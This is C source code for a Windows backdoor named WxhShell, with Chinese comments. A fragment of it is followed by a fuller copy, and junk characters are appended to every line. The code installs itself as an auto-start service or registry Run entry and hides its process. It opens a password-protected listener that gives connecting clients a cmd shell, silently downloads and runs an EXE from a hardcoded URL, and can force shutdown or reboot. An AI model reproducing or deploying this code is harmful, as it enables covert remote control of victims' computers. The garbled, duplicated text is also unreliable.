    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JlH5 <:#PN  
    if(Boot(SHUTDOWN)) OPKmYzf@b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C9T- 4o1  
    else { 0L7^Vr)  
    closesocket(wsh); E|B1h!!\c  
    ExitThread(0); 'BEM:1)  
    } YjG:ECj}  
    break; q]*:RI?wGT  
    } f6HDfJmE  
  // 获取shell sE(mK<{pk  
  case 's': { pC)S9Kl  
    CmdShell(wsh); YH!` uU(Lh  
    closesocket(wsh); b@[5xv\J  
    ExitThread(0); ~x +24/qT  
    break; TUO#6  
  } Zxv{qbF  
  // 退出 FEg&EYI  
  case 'x': { h"Q&E'0d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S#7.y~e\  
    CloseIt(wsh); SRk-3:  
    break; X_I.f6v{  
    } #+P)X_i`  
  // 离开 \3z^/F~  
  case 'q': { Hn(L0#Oqy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }*0*8~Q'5  
    closesocket(wsh); Yr+ghl/ V  
    WSACleanup(); +wr 5&  
    exit(1); TqMy">>  
    break; 4dvuw{NZ  
        } V6 ,59  
  } )'?@raB!  
  } u:4?$%rB  
PR1%  
  // 提示信息 j,JGs[A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wv)2dD2I  
} We#O' m  
  } KY;E.D`  
W?auY_+P  
  return; -zL xT  
} t) ~v5vr  
E|^~R}z)  
// shell模块句柄 1 Xu^pc  
int CmdShell(SOCKET sock) %(wa~:m+S-  
{ qdVExO&  
STARTUPINFO si; L~(`zO3f  
ZeroMemory(&si,sizeof(si)); lV!@h}mG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +2]{% =  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w-MnJ(r  
PROCESS_INFORMATION ProcessInfo; %!1:BQ,p,i  
char cmdline[]="cmd"; +EgQj*F*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =zW.~(c{  
  return 0; PfVjfrI[  
} D(<20b,  
$PNIuC?=  
// 自身启动模式  kQm\;[R  
int StartFromService(void) TXQ Y&7  
{ Kth^WHL  
typedef struct x:Kca3pv_  
{ wXsA-H/`  
  DWORD ExitStatus; QFf lx  
  DWORD PebBaseAddress; dPRGL hWF  
  DWORD AffinityMask; e[8p/hId  
  DWORD BasePriority; "^ cn9AG{  
  ULONG UniqueProcessId; _nj?au(@`Y  
  ULONG InheritedFromUniqueProcessId; fKAG+t  
}   PROCESS_BASIC_INFORMATION; 8aD4 wc  
TNC,{sM  
PROCNTQSIP NtQueryInformationProcess; XA:v:JFS  
fXYg %  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <%Re!y@OL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yeNC-U<  
5ff66CRw  
  HANDLE             hProcess; # 1,(I  
  PROCESS_BASIC_INFORMATION pbi; a4! AvG  
iwfv t^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b-+iL  
  if(NULL == hInst ) return 0; `+QrgtcEy4  
Ip4SdbU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PF- sb&q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;wz YZ5=Di  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CxtH?9# |  
A{hWFSv  
  if (!NtQueryInformationProcess) return 0; > c7fg^@  
C@L:m1fz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?H3xE=<X  
  if(!hProcess) return 0; L +s,,k  
Os1(28rl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #.%;U' #O  
i5*sG^<$H  
  CloseHandle(hProcess); I=pT fkTT  
fF8g3|p:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :U<`iJwY  
if(hProcess==NULL) return 0; ?ei7jM",  
QSy=JC9  
HMODULE hMod; }o? @  
char procName[255]; M(S:&GOU  
unsigned long cbNeeded; ]#[ R^t  
6?ylSQ]1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OY6l t.t  
yHhBUpIo  
  CloseHandle(hProcess); |k+Y >I&  
y4Plm.  
if(strstr(procName,"services")) return 1; // 以服务启动 qgU$0enSs  
o$YL\ <qp  
  return 0; // 注册表启动 3%xj-7z W  
} SVaC)O(  
z&d&Ky  
// 主模块 @QMMtfeLj  
int StartWxhshell(LPSTR lpCmdLine) 0=&Hm).  
{ ek#{!9-  
  SOCKET wsl; [>4Ou^=1  
BOOL val=TRUE; 1< ;<?  
  int port=0; [HK[{M =v=  
  struct sockaddr_in door; #Gs] u  
5"6Y=AuQ6  
  if(wscfg.ws_autoins) Install(); [:sV;37s  
$} 7/mS@c  
port=atoi(lpCmdLine); -mG3#88*  
<D pi M`  
if(port<=0) port=wscfg.ws_port; qV.*sdS>  
+X0?bVT  
  WSADATA data; i}+K;,Da:8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0\Qqv7>  
hn-9l1~!h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TgVvp0F;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m Fwx},dl  
  door.sin_family = AF_INET; qv=i eU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "wTA9\  
  door.sin_port = htons(port); ]Z@- r  
' Ky5|4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PSNrY e  
closesocket(wsl); =\?KC)F*e  
return 1; BD9W-mF  
} {(A Ys*5  
'ac %]}`-  
  if(listen(wsl,2) == INVALID_SOCKET) { M"#xjP.  
closesocket(wsl); 5R/!e`(m  
return 1; k 0z2)3L  
} u:3~Ius  
  Wxhshell(wsl); zVYX#- nv  
  WSACleanup(); sC48o'8(  
[L"(flY(E  
return 0; SI)u@3hl&w  
HkD6aJ:kA!  
} }i ./,  
NI \jGR.  
// 以NT服务方式启动 6fQNF22E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @]t}bF]  
{ ;zIAh[z  
DWORD   status = 0; u)M dFz  
  DWORD   specificError = 0xfffffff; :03w k)  
^N _kiSr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6+e@)[l.zc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dmW0SK   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )VID ;l;4  
  serviceStatus.dwWin32ExitCode     = 0; B_anO{3$4  
  serviceStatus.dwServiceSpecificExitCode = 0; vZmM=hW~  
  serviceStatus.dwCheckPoint       = 0; U|={LU  
  serviceStatus.dwWaitHint       = 0; #)2'I`_E  
3VbMW,_&"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mk7,:S  
  if (hServiceStatusHandle==0) return; kcVEE)zb  
0p :FAvvNI  
status = GetLastError(); Ua)ARi %  
  if (status!=NO_ERROR) B)O{+avu  
{ (hS j4Cp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tf) qd\  
    serviceStatus.dwCheckPoint       = 0; K 38e,O  
    serviceStatus.dwWaitHint       = 0; )'KkO$^&  
    serviceStatus.dwWin32ExitCode     = status; \m~ ?mg"#  
    serviceStatus.dwServiceSpecificExitCode = specificError; 61HU_!A8S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kqYWa`eE  
    return; BYFvf(>  
  } >uN{cohs  
[nB[]j<R*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^+^#KC8]W  
  serviceStatus.dwCheckPoint       = 0; j]#qq]c  
  serviceStatus.dwWaitHint       = 0; Cb5;l~}L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {M96jjiInf  
} /qa{*"2Qo  
YD_hg#=n  
// 处理NT服务事件,比如:启动、停止 4!64S5(7t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lM~ 3yBy  
{ OaY.T  
switch(fdwControl) z^j7wMQ  
{ _8Cw_  
case SERVICE_CONTROL_STOP: GuPxN}n 5  
  serviceStatus.dwWin32ExitCode = 0; c! vtQ<h-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tAO,s ZW  
  serviceStatus.dwCheckPoint   = 0; sygxV  
  serviceStatus.dwWaitHint     = 0; d _ )5Ks}  
  { DJvmwFx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]1h W/!  
  } "`qmeZ$rg  
  return; awkPFA*c'  
case SERVICE_CONTROL_PAUSE: >M=_:52.+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PTrKnuM\J_  
  break; <fg~+{PA&  
case SERVICE_CONTROL_CONTINUE: L& ucTc =  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7ESSx"^B  
  break; F_.rLgGY  
case SERVICE_CONTROL_INTERROGATE: CT,PQ  
  break; Yl4XgjG  
}; Hd]o?q\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\XFhOsa  
} ^3"~ T  
/k8Lu+OJ  
// 标准应用程序主函数 .}!"J`{ W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z" j #kaXA  
{ p5`iq~e9  
LK\L}<;1V  
// 获取操作系统版本 yuIy?K  
OsIsNt=GetOsVer(); L/\s~*:M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ])F*)U  
*?bOH5$@Nw  
  // 从命令行安装 >G7dw1;  
  if(strpbrk(lpCmdLine,"iI")) Install(); E/[>#%@i  
q@k/"ee*?  
  // 下载执行文件 }z%fQbw  
if(wscfg.ws_downexe) { tQ=3Oa[u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )E9[=4+*C$  
  WinExec(wscfg.ws_filenam,SW_HIDE); UMtnb:ek  
}  ac  
8J|2b; Vf  
if(!OsIsNt) { Nz/PAs7g6  
// 如果时win9x,隐藏进程并且设置为注册表启动 JBqL0H  
HideProc(); U'~M(9uv:  
StartWxhshell(lpCmdLine); J5dwd,FQ  
} s krdL.5  
else by07l5  
  if(StartFromService()) uCkXzb9_z  
  // 以服务方式启动 HiAj3  
  StartServiceCtrlDispatcher(DispatchTable); 7PTw'+{  
else nv$>iJ^~H  
  // 普通方式启动 5j'7V1:2  
  StartWxhshell(lpCmdLine); WB)pE'5  
R !&9RvNw  
return 0; 8XfhXm>~  
} 3( &k4  
dfy]w4ETB  
&/dYJv$[9  
mok94XuK)  
=========================================== rhff8C//'  
1 S<E=7  
5@QJ+@j|  
F*u"LTH  
p^.qwP\P  
we:P_\6  
" L%S(z)xX3  
-gn!8G1  
#include <stdio.h> -S\gDB bb  
#include <string.h> HxUJ 0Q  
#include <windows.h> ,9,cN-/a  
#include <winsock2.h> P^(uS'j)+  
#include <winsvc.h> \_io:{M  
#include <urlmon.h> ^VI\:<\{  
~8JOPzK  
#pragma comment (lib, "Ws2_32.lib") '=AqC,\#  
#pragma comment (lib, "urlmon.lib") {CH5`&  
/1@py~ZX  
#define MAX_USER   100 // 最大客户端连接数 osM[Xv  
#define BUF_SOCK   200 // sock buffer F\u]X  
#define KEY_BUFF   255 // 输入 buffer u@]rR&h`  
b=@H5XTZyK  
#define REBOOT     0   // 重启 w{8O$4 w  
#define SHUTDOWN   1   // 关机 g)dKXsy(F  
rX(Ol,&oP  
#define DEF_PORT   5000 // 监听端口 ^O0trM>h-  
@`mr|-Rp@  
#define REG_LEN     16   // 注册表键长度 J]W? V vv  
#define SVC_LEN     80   // NT服务名长度 xe"A;6H  
!LR9}Xon  
// 从dll定义API JUXo3D~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~"J7=u1o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kxQ al  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xr."C(`w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =W*Ro+wWb  
rS>@>8k2,  
// wxhshell配置信息 w`GjQIA  
struct WSCFG { zK_Q^M`  
  int ws_port;         // 监听端口 ''^2rF^  
  char ws_passstr[REG_LEN]; // 口令 y$Fk0s*>  
  int ws_autoins;       // 安装标记, 1=yes 0=no f_|pl^  
  char ws_regname[REG_LEN]; // 注册表键名  h3 e %(a  
  char ws_svcname[REG_LEN]; // 服务名 %OJ"@6A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DX0#q #  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b.q/? Yx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {K N7Y"AI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q# 6|/R*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t/lQSUip  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %)ri:Qq  
 eC[G4  
}; :]icW ^%  
aH7@:=B  
// default Wxhshell configuration G>edJPfQ  
struct WSCFG wscfg={DEF_PORT, QsX`IYk  
    "xuhuanlingzhe", M1z ?E@kz  
    1, <<DPer2  
    "Wxhshell", r}:D g fn  
    "Wxhshell", %0 p9\I  
            "WxhShell Service", `*o ko[\3  
    "Wrsky Windows CmdShell Service", (fYYcpd,k  
    "Please Input Your Password: ", q*K[?  
  1, I!"/I8Y  
  "http://www.wrsky.com/wxhshell.exe", :x,dYJm  
  "Wxhshell.exe" L)i6UAo  
    }; ], IQ~  
CZ!gu Y=  
// 消息定义模块 naiQ$uq0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m2%n:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %!7A" >ai  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^S`N\X  
char *msg_ws_ext="\n\rExit."; mg< v9#  
char *msg_ws_end="\n\rQuit."; _'|C-j`u$  
char *msg_ws_boot="\n\rReboot..."; * V_b/Vt  
char *msg_ws_poff="\n\rShutdown..."; ef@F!s_fI  
char *msg_ws_down="\n\rSave to "; +4n}H}9l  
>]HvXEdNZ|  
char *msg_ws_err="\n\rErr!"; ta@fNS4  
char *msg_ws_ok="\n\rOK!"; Sim$:5P  
R2==<"gq  
char ExeFile[MAX_PATH]; dy~M5,zn  
int nUser = 0; ;Kh[6{W  
HANDLE handles[MAX_USER]; 8%`h:fE  
int OsIsNt; %J+ w9Z  
F0wW3+G  
SERVICE_STATUS       serviceStatus; -k  }LW4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TyvUdU  
Qe0?n  
// 函数声明 _H@8qR  
int Install(void); (QdLz5\  
int Uninstall(void); [s[!PlazX  
int DownloadFile(char *sURL, SOCKET wsh); )xL_jSyh  
int Boot(int flag); tb>Q#QB&u  
void HideProc(void); F=?GV\Tw  
int GetOsVer(void); "!Nu A  
int Wxhshell(SOCKET wsl); _&N:%;9uD  
void TalkWithClient(void *cs); *Z+U}QhHD6  
int CmdShell(SOCKET sock); , {}S<^?]  
int StartFromService(void); |kF"p~s  
int StartWxhshell(LPSTR lpCmdLine); P_P~c~o  
V#B'm?aQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yjOZed;M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k~2FlRoC^  
tI  
// 数据结构和表定义 cpPS8V  
SERVICE_TABLE_ENTRY DispatchTable[] = m2l0`l~T8  
{ 9&HaEAme  
{wscfg.ws_svcname, NTServiceMain}, EUq6) K  
{NULL, NULL} lmIphOUoIw  
}; oore:`m;  
"AlR%:]24~  
// 自我安装 _dc,}C  
int Install(void) 4^*Z[6nt|  
{ l$!Z};mw0E  
  char svExeFile[MAX_PATH]; S^N{=*  
  HKEY key; /GO((v+J  
  strcpy(svExeFile,ExeFile); qP+%ui5xR  
{qm5H7sL  
// 如果是win9x系统,修改注册表设为自启动 ^Ge|tBMoKE  
if(!OsIsNt) { Sq5}v]k@&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 29W`L2L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *CVI@:Q9  
  RegCloseKey(key); Snq0OxS[v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MM~4D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % C)|fDwN  
  RegCloseKey(key); ;[7#h8  
  return 0; cef:>>6_  
    } <899r \  
  } #%]?e N  
} Pk8(2fAYk  
else { CX7eCo  
-5\.\L3y)  
// 如果是NT以上系统,安装为系统服务 {;38&Izwz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QvzE:]pyi  
if (schSCManager!=0) Q@TeU#2Y  
{ &!*p>Ns)e  
  SC_HANDLE schService = CreateService Va/}|& 9  
  ( C@MJn)$4  
  schSCManager, D7v.Xq|  
  wscfg.ws_svcname, }cIj1:  
  wscfg.ws_svcdisp, t?p>L*  
  SERVICE_ALL_ACCESS, v){X&HbP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r2&/Ii+  
  SERVICE_AUTO_START, RRtOBrIedI  
  SERVICE_ERROR_NORMAL, km}E&ao  
  svExeFile, CbMClnF  
  NULL, 5(DnE?}vo  
  NULL, rD>q/,X=\  
  NULL, /b{Ufo3v  
  NULL, i;67< f}-  
  NULL =I$:-[(  
  ); j2|UuWU  
  if (schService!=0) Iy2AJ|d.  
  { I^QB`%v5  
  CloseServiceHandle(schService); %"3tGi:/  
  CloseServiceHandle(schSCManager); AVp"<Uv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =Q8$O 2TW  
  strcat(svExeFile,wscfg.ws_svcname); YY$O"!."  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hw&~OJeo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tY?evsVgz  
  RegCloseKey(key); 6}_J;g\|  
  return 0; Bn Nu/02.=  
    } ]Wc 2$  
  } #~6X9,x=  
  CloseServiceHandle(schSCManager); HmpV; <t3  
} (Jy > ,~O  
} *%dWNvN4X  
}& 01=nY  
return 1; n(\VP!u5r  
} )<L?3Jjt5  
(XQl2C  
// 自我卸载 >&|/4`HSB  
int Uninstall(void) oX-h7;SD  
{ {Yt i  
  HKEY key; 3 J\&t4q  
1c $iW>0K  
if(!OsIsNt) { -PH qD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gjy:o5{vA*  
  RegDeleteValue(key,wscfg.ws_regname); q%FXox~b  
  RegCloseKey(key); 7=4V1FS6i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j,g.Eo  
  RegDeleteValue(key,wscfg.ws_regname); E"%G@,|3*  
  RegCloseKey(key); -\~x^5K  
  return 0; YfH+kDT  
  } LMYO>]dg  
} -GL-&^3IjH  
} f>+:UGmP  
else { oz?6$oE(bt  
M+\LH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5?MKx!%  
if (schSCManager!=0) !%YV0O0  
{ :;Wh!8+j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !'%`g,,r  
  if (schService!=0) UyOoyyd.  
  { $@L}/MO  
  if(DeleteService(schService)!=0) { YRP$tz+ _  
  CloseServiceHandle(schService); j*1O(p+  
  CloseServiceHandle(schSCManager); 12yX`9h>  
  return 0; r/6h}  
  } tJ9`Ys  
  CloseServiceHandle(schService); O0> ^?dsL  
  } _6'HBE  
  CloseServiceHandle(schSCManager); _qhYG1t  
} ,9ZN k@q  
} w77"?kJ9X  
i9y&<^<W  
return 1; Gw Z(3  
} btU:=6  
@c{b\is2  
// 从指定url下载文件 o*|j}hnbv  
int DownloadFile(char *sURL, SOCKET wsh) }Gm/9@oKc  
{ ,46k8%WW  
  HRESULT hr; <o\I C?A  
char seps[]= "/"; =Qw`F0t  
char *token; sMAu*  
char *file; =ZN~*HLl}  
char myURL[MAX_PATH]; ]+i~Cbj  
char myFILE[MAX_PATH]; i^DZK&B@u  
{KalVZX2R  
strcpy(myURL,sURL); fwi( qx1=}  
  token=strtok(myURL,seps); u:D,\`;)  
  while(token!=NULL) i9k/X&V  
  { .TetN}w  
    file=token; SiQszV.&  
  token=strtok(NULL,seps); ~m.@{Do0p  
  } <lwkjt=RV  
khtSZ"8X  
GetCurrentDirectory(MAX_PATH,myFILE); j]5bs*G  
strcat(myFILE, "\\"); v}\Nx[}  
strcat(myFILE, file); ?)B\0` %*'  
  send(wsh,myFILE,strlen(myFILE),0); y2 ,M9  
send(wsh,"...",3,0); O9]+Jd4W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (lVHKg&U[  
  if(hr==S_OK) m339Y2%=  
return 0; -V)DKf"f  
else -:o4|&g<*  
return 1; "i;c)ZP  
Do5)ilt  
} *R6Ed  
K0O&-v0"1  
// 系统电源模块 lZ9rB^!  
int Boot(int flag) P>3 ;M'KsO  
{ /a!M6:,pX  
  HANDLE hToken; i>68gfx  
  TOKEN_PRIVILEGES tkp; .0>2j(  
aM|^t:  
  if(OsIsNt) { s!j[Ovtx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _]whHS+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6vQCghI  
    tkp.PrivilegeCount = 1; !nkjp[p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3@/\j^U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h+7THMI  
if(flag==REBOOT) { kKqb:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vyqj)1Z8>  
  return 0; P6ztP$M(  
} XNJPf) T  
else { 3B5GsI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OWRT6R4v  
  return 0; G&HCOR!h  
} 8=U0\<wT  
  } i7/I8y  
  else { 09SLQVo  
if(flag==REBOOT) { ``Wf%~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |8m;}&r$  
  return 0; s8/y|HN^  
} ;NHZD  
else { !w8t`Z['  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i/%+x-#  
  return 0; -6OgM}  
} +(-L  
} ZCAdCKX|  
kgV_*0^  
return 1; eJ JD'Z  
} rv\m0*\<  
0//?,'.  
// win9x进程隐藏模块 K*_5M  
void HideProc(void) m ["`Op4  
{ V_T.#"C4=z  
n@)Kf A)&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zMf .  
  if ( hKernel != NULL ) vO#=]J8`  
  { Is $I;`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^T#bla893  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #ONad0T;  
    FreeLibrary(hKernel); .W#-Cl&n8  
  } Oist>A$Z  
S}Q/CT?au  
return; c05kHB$O  
} .BR2pf|R  
 Ip0~  
// 获取操作系统版本 Mbua!m(0  
int GetOsVer(void) /Jjub3>Q  
{ ;|.^_Xs  
  OSVERSIONINFO winfo; J .r^"K\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -r6cK,WVU  
  GetVersionEx(&winfo); t0 1@h_ WS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NT6OGBl&  
  return 1; 1gwnG&  
  else "+g9}g  
  return 0; w@&4dau  
} Nm.H  
K\7\  
// 客户端句柄模块 [<+A?M=  
int Wxhshell(SOCKET wsl) 'edd6yTd  
{ RpAqnDX)  
  SOCKET wsh; L|wD2iw  
  struct sockaddr_in client; -_bnGY%,  
  DWORD myID; *f[nge&.  
G^`IfF-j  
  while(nUser<MAX_USER) sw={bUr6G`  
{ Li jisE  
  int nSize=sizeof(client); QgZwU$`p0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o"te7nBI  
  if(wsh==INVALID_SOCKET) return 1; "%o,P/<X  
:ub 4p4h*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OD*\<Sc  
if(handles[nUser]==0) csceu+ IA  
  closesocket(wsh); ;#F/2UgHB  
else KxZO.>,  
  nUser++; `K,{Y_  
  } 8 z) K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~$GRgOn  
PJq;OM|  
  return 0; yMU>vr  
} A{[joo  
NtuO&{}i  
// 关闭 socket dr|>P*  
void CloseIt(SOCKET wsh) B}PT-S1l  
{ "$->nC.  
closesocket(wsh); 3D"2yTM(  
nUser--; RObo4  
ExitThread(0); Rqi= AQ  
} 1G0U}-6RH  
MX@t[{Gg9  
// 客户端请求句柄 :!SVpCt3  
void TalkWithClient(void *cs) Wchu-]  
{ toq/G,N Q  
@H{QHi  
  SOCKET wsh=(SOCKET)cs; NUlp4i~Q  
  char pwd[SVC_LEN]; D5o[z:V7"  
  char cmd[KEY_BUFF]; S>-x<'Os  
char chr[1]; Z*+0gJ<Y  
int i,j; i `m&X6)\j  
?ztI8 I/  
  while (nUser < MAX_USER) { BB x359  
XX85]49`%  
if(wscfg.ws_passstr) { BGtr=&Hq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B6N/nCvHK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n{d0}N =  
  //ZeroMemory(pwd,KEY_BUFF); E [:eMJR  
      i=0; U9<AL.  
  while(i<SVC_LEN) { Fgx{ s%&-  
uPVM>xf>w  
  // 设置超时 #.<Uy."z2  
  fd_set FdRead; ~  4v  
  struct timeval TimeOut; #ujry. m  
  FD_ZERO(&FdRead); J`E,Xw>2  
  FD_SET(wsh,&FdRead); `D44I;e^1;  
  TimeOut.tv_sec=8; q*L>MV  
  TimeOut.tv_usec=0; (Dy6I;S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >@b]t,rrK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9H~2 iW,Q;  
jGg,)~)Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wzXIEWJ  
  pwd=chr[0]; HE;}B!>  
  if(chr[0]==0xd || chr[0]==0xa) { iyA=d{S;V  
  pwd=0; ~XzT~WxW  
  break; ;PS V3Zh  
  } v qt#JdPp9  
  i++; 'n:|D7t  
    } Vu0d\l^$  
zBQV2.@  
  // 如果是非法用户,关闭 socket wMW."gM|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RP@U0o  
} /C[Q?  
86*9GS?U(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VjI=5)+~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4YV 0v,z  
>>cb0fH5  
while(1) { ; _ziRy  
Tvd}5~ 5?  
  ZeroMemory(cmd,KEY_BUFF); [P'"|TM[ ~  
yt'P,m  
      // 自动支持客户端 telnet标准   @ 0'j;")XV  
  j=0; L;7u0Yg  
  while(j<KEY_BUFF) { Wc*jTip  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V-{3)6I$hG  
  cmd[j]=chr[0]; R ]h3a :ic  
  if(chr[0]==0xa || chr[0]==0xd) { b<\2j5  
  cmd[j]=0; ME0vXi  
  break; ]9 JLu8GO  
  } R)@2={fd}  
  j++; -JEiwi,  
    } J~]Y  
|)+s,LT5  
  // 下载文件 tJM#/yT  
  if(strstr(cmd,"http://")) { =bBV A0y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NihUCj"  
  if(DownloadFile(cmd,wsh)) {\WRW}iO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2;wp D2  
  else >1}@Q(n/}{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o2 ;  
  } 7es<%H  
